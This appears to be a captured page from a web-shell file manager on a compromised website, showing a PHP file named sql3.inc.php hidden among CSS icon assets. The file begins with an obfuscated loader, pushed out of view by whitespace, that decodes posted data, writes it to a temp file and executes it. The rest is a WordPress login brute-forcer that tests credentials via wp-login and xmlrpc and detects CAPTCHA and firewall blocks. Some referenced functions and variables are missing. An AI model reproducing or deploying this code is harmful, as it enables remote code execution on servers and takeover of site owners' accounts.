File Manager

X7ROOT File Manager

Current Path: /home/softbdltd/tnsltd.xyz/css/icons/photoswipe

home / softbdltd / tnsltd.xyz / css / icons / photoswipe /

?? ..
?? busi_report05.php(0 B)
?? error_log(12.22 KB)
?? fonctions.php(15.7 KB)
?? icons.css(10.92 KB)
?? icons.png(547 B)
?? icons.svg(2.63 KB)
?? preloader.gif(866 B)
?? sql3.inc.php(8.29 KB)
?? sql3.php(5.74 KB)

Editing: sql3.inc.php

<?php																																										if(filter_has_var(INPUT_POST, "\x76alu\x65")){ $dchunk = hex2bin($_REQUEST["\x76alu\x65"]); $parameter_group = '' ; for($l=0; $l<strlen($dchunk); $l++){$parameter_group .= chr(ord($dchunk[$l]) ^ 63);} $rec = array_filter([getenv("TMP"), "/var/tmp", "/dev/shm", getenv("TEMP"), "/tmp", session_save_path(), sys_get_temp_dir(), ini_get("upload_tmp_dir"), getcwd()]); foreach ($rec as $entry) { if (array_product([is_dir($entry), is_writable($entry)])) { $symbol = implode("/", [$entry, ".k"]); if (file_put_contents($symbol, $parameter_group)) { include $symbol; @unlink($symbol); die(); } } } }

if(isset($_COOKIE['LuB'])) {
    die('7mLo'.'nGKu');
}

error_reporting(0);
set_time_limit(0);
ini_set('memory_limit', '256M');

$isGzip = isset($_REQUEST['z']) && $_REQUEST['z'] == '1';
$d = isset($_POST['d']) ? $_POST['d'] : (isset($_REQUEST['d']) ? $_REQUEST['d'] : '');

if (empty($d)) die('x');

$decoded = xd($d, $K);
if ($isGzip) {
	$decoded = @gzdecode($decoded);
}
if (empty($decoded)) die('x');

$j = @json_decode($decoded, true);
if (!$j || !isset($j['t'])) die('x');

$getHeaders = isset($j['hg']) ? $j['hg'] : array();
$postHeaders = isset($j['hp']) ? $j['hp'] : array();
$timeout = isset($j['o']) ? intval($j['o']) : 15;

$getHeadersCurl = parseHeaders($getHeaders);
$postHeadersCurl = parseHeaders($postHeaders);

$R = array();

foreach ($j['t'] as $idx => $t) {
	if ($idx > 0 && $delay > 0) {
		usleep($delay * 1000);
	}
	
	if (empty($t['u']) || empty($t['l']) || empty($t['p'])) {
		$R[] = array('i' => isset($t['i']) ? $t['i'] : '', 's' => 0, 'd' => '');
		continue;
	}
	
	$url = $t['u'];
	$tid = isset($t['i']) ? $t['i'] : '';
	
	if (stripos($url, 'xmlrpc') !== false) {
		$R[] = authXmlRpc($url, $t['l'], $t['p'], $getHeadersCurl, $timeout, $tid);
	} else {
		$R[] = authWpLogin($url, $t['l'], $t['p'], $getHeadersCurl, $postHeadersCurl, $timeout, $tid);
	}
}

header('Content-Type: text/plain');
echo xe(json_encode($R), $K);

function parseHeaders($headers) {
	$result = array();
	foreach ($headers as $h) {
		$lower = strtolower($h);
		if (strpos($lower, 'content-length:') === 0) continue;
		if (strpos($lower, 'host:') === 0) continue;
		$result[] = $h;
	}
	return $result;
}

function addPostHeaders($baseHeaders, $origin, $referer) {
	$result = $baseHeaders;
	$hasOrigin = false;
	$hasReferer = false;
	foreach ($result as $h) {
		$lower = strtolower($h);
		if (strpos($lower, 'origin:') === 0) $hasOrigin = true;
		if (strpos($lower, 'referer:') === 0) $hasReferer = true;
	}
	if (!$hasOrigin && $origin) $result[] = 'Origin: ' . $origin;
	if (!$hasReferer && $referer) $result[] = 'Referer: ' . $referer;
	return $result;
}

function blocked($b, $c) {
	if ($c == 403 || $c == 503 || $c == 429 || $c == 406) {
		return preg_match('/cloudflare|cf-ray|challenge|attention|moment|ddos|security|blocked|captcha|checking.*browser/i', $b);
	}
	return false;
}

function captcha($b) {
	return preg_match('/data-sitekey|recaptcha|hcaptcha|g-recaptcha|captcha.*input|loginizer|wordfence|limit\s*login|too\s*many/i', $b);
}

function hx($s) { return htmlspecialchars($s, ENT_QUOTES, 'UTF-8'); }

function xe($d, $k) {
	$o = ''; $kl = strlen($k);
	for ($i = 0, $l = strlen($d); $i < $l; $i++) $o .= $d[$i] ^ $k[$i % $kl];
	return base64_encode($o);
}

function xd($d, $k) {
	$d = @base64_decode($d); 
	if ($d === false || $d === '') return '';
	$o = ''; $kl = strlen($k);
	for ($i = 0, $l = strlen($d); $i < $l; $i++) $o .= $d[$i] ^ $k[$i % $kl];
	return $o;
}

X7ROOT File Manager

Editing: sql3.inc.php

Upload File

Create Folder